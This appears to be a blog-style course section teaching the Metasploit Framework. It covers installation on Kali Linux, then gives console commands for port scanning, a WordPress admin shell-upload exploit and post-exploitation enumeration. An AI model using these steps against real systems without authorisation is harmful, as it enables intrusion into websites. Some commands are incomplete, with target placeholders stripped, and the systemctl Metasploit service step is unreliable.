# Course #354: Metasploit Framework Essentials

## Section 1: Introduction to Metasploit Framework

The Metasploit Framework is a powerful tool for penetration testing, allowing security professionals to find and exploit vulnerabilities in various systems. In this section, we will cover the installation and configuration of Metasploit on Kali Linux, provide a step-by-step guide for its usage, and explore real-world use cases. Additionally, we will provide detailed technical explanations, code examples, and external references to ensure a comprehensive understanding of Metasploit.

### 1.1 Installation and Configuration on Kali Linux

Kali Linux comes pre-installed with Metasploit Framework, making it easier for penetration testers to get started with their assessments. However, if you're using a different environment or require an updated version, follow these steps:

#### Step 1: Updating Kali Linux

Before installing Metasploit, always ensure your Kali Linux is up-to-date. Open your terminal and run:

"`bash
sudo apt update && sudo apt upgrade -y
"`

#### Step 2: Installing Metasploit

If Metasploit is not already installed or you wish to install a specific version, you can do this using the following command:

"`bash
sudo apt install metasploit-framework
"`

#### Step 3: Starting the Metasploit Service

After installation, start the Metasploit service:

"`bash
sudo systemctl start postgresql
sudo systemctl start metasploit
"`

Verify that the services are running:

"`bash
sudo systemctl status postgresql
sudo systemctl status metasploit
"`

#### Step 4: Launching Metasploit Console

Once the services are running, launch the Metasploit console:

"`bash
msfconsole
"`

You should see the Metasploit console greeting you with the version number and a command prompt:

"`
msf >
"`

### 1.2 Step-by-Step Usage and Real-World Use Cases

To illustrate the capabilities of Metasploit, we'll walk through a penetration testing scenario involving a vulnerable web application. This example highlights how to find a vulnerability and exploit it.

#### Step 1: Information Gathering

Before exploiting a target, we need to gather information. Using Metasploit, we can utilize auxiliary modules for scanning.

For instance, to scan for open ports on a target, use:

"`bash
use auxiliary/scanner/portscan/tcp
set RHOSTS
run
"`

Replace `` with the actual IP address of your target.

#### Step 2: Finding Vulnerabilities

Once we know which ports are open, we can enumerate services and versions to find potential vulnerabilities. For example, if we identify an open HTTP port (80), we can use the following module to check for web application vulnerabilities:

"`bash
search type:exploit platform:php
"`

This command searches for PHP-related exploits in the Metasploit database.

#### Step 3: Selecting an Exploit

Let’s assume we found a vulnerable version of WordPress. To exploit it, we can use the following commands:

"`bash
use exploit/unix/webapp/wp_admin_shell_upload
set RHOST
set USERNAME
set PASSWORD
set TARGETURI /wp-admin/
run
"`

Make sure to replace ``, ``, and `` with the actual target information.

#### Step 4: Post-Exploitation

After successfully exploiting the vulnerability, you can perform post-exploitation activities. For instance, you can check for sensitive files or escalate privileges:

"`bash
use post/linux/gather/enum_system
set SESSION
run
"`

Replace `` with the session number obtained after the successful exploitation.

### 1.3 Detailed Technical Explanations

#### Understanding Exploit Modules

Metasploit operates using modules, which can be categorized into different types:

– **Exploits**: Code that triggers a vulnerability.
– **Payloads**: Code that runs after exploiting a vulnerability (e.g., reverse shells).
– **Auxiliary Modules**: Used for tasks like scanning, fuzzing, etc.
– **Post-Exploitation Modules**: Used for tasks after an exploit is successful.

Each module can be configured with various options, such as RHOST (remote host), LHOST (local host), and others.

#### How to Use Metasploit effectively

To maximize the effectiveness of Metasploit, understand the following:

– **Search Modules**: Use `search` to quickly find relevant exploit modules.
– **Help Command**: Within the Metasploit console, use the `help` command or `?` to get information on modules and commands.
– **Understanding Targets**: Some exploits may have specific targets; always read the module documentation before proceeding.

### 1.4 External References

For further reading and to deepen your understanding of the Metasploit Framework, consider the following resources:

– [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)
– [Metasploit Documentation](https://docs.metasploit.com/)
– [OWASP Top Ten Web Application Vulnerabilities](https://owasp.org/www-project-top-ten/)

### Code Examples in Markdown

Below are some code examples formatted for WordPress:

"`markdown
## Scanning for Open Ports
"`bash
sudo nmap -sS -p-
"`

## Setting Up Metasploit
"`bash
sudo msfconsole
"`

## Using an Exploit
"`bash
use exploit/unix/webapp/wp_admin_shell_upload
set RHOST
set USERNAME
set PASSWORD
set TARGETURI /wp-admin/
run
"`
"`
This concludes the first section of our course on the Metasploit Framework. From installation to real-world applications, you should now have a solid foundation for using Metasploit effectively. In the upcoming sections, we will delve deeper into advanced exploitation techniques and methodologies.

Made by pablo rotem / פבלו רותם

Pablo Guides